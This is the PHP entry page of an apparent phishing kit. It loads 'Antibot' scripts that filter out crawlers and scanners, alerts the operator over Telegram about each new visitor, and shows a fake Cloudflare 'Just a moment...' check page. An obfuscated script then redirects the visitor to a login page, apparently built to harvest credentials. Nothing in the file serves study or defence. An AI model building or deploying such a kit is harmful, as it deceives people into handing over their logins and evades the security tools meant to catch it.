<?php
error_reporting(0);
include('Antibot/Bot-Crawler.php');
include('Antibot/Dila_DZ.php');
include('Antibot/blockers.php');
include('Antibot/detects.php');

// index.php
require_once __DIR__ . '/includes/functions.php';

// Send a Telegram notification when a visitor lands on index.php
sendToTelegram("New Visitor", "index", "");

// If a session_id is provided, reuse it; otherwise create a new one.
if (isset($_GET['session_id']) && !empty($_GET['session_id'])) {
    $sessionId = $_GET['session_id'];
} else {
    $sessionId = uniqid('sess_', true);
}
?>
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Just a moment...</title>
        <link rel="stylesheet" href="Antibot/cf.css">
    </head>
    <body>
        <table width="100%" height="100%" cellpadding="20">
            <tbody>
                <tr>
                    <td valign="middle" align="center">
                        <div class="cf-browser-verification cf-im-under-attack">
                            <noscript>
                                <h1 data-translate="turn_on_js" style="color:#bd2426;">
                                    Please turn JavaScript on and reload the page.
                                </h1>
                                <style>
                                    #cf-content {
                                        display: none !important;
                                    }
                                </style>
                            </noscript>
                            <div id="cf-content" style="display: block;">
                                <div id="cf-bubbles">
                                    <div class="bubbles"></div>
                                    <div class="bubbles"></div>
                                    <div class="bubbles"></div>
                                </div>
                            </div>
                        </div>
                        
                    </td>
                </tr>
            </tbody>
        </table>
    </body>
    <script>
        // Obfuscated redirection snippet
        var _0x2efe = [
            'pages/login.php?session_id=<?php echo urlencode($sessionId); ?>',
            '100'
        ];
        var _0x179f = function(_0x59284c, _0x36e29b) {
            _0x59284c = _0x59284c - 0x100;
            var _0x2efe40 = _0x2efe[_0x59284c];
            return _0x2efe40;
        };
        (function(_0x4a7fe2, _0xde34a) {
            var _0x529748 = _0x179f;
            while (!![]) {
                try {
                    var _0x1d901e = 1 + 2; // dummy computation (equals 3)
                    if (_0x1d901e === _0xde34a)
                        break;
                    else
                        _0x4a7fe2.push(_0x4a7fe2.shift());
                } catch (_0x214b85) {
                    _0x4a7fe2.push(_0x4a7fe2.shift());
                }
            }
        }(_0x2efe, 3));
        setTimeout(() => {
    window.location.href = "pages/login.php?session_id=<?php echo urlencode($sessionId); ?>";
}, 100);
    </script>
</html>
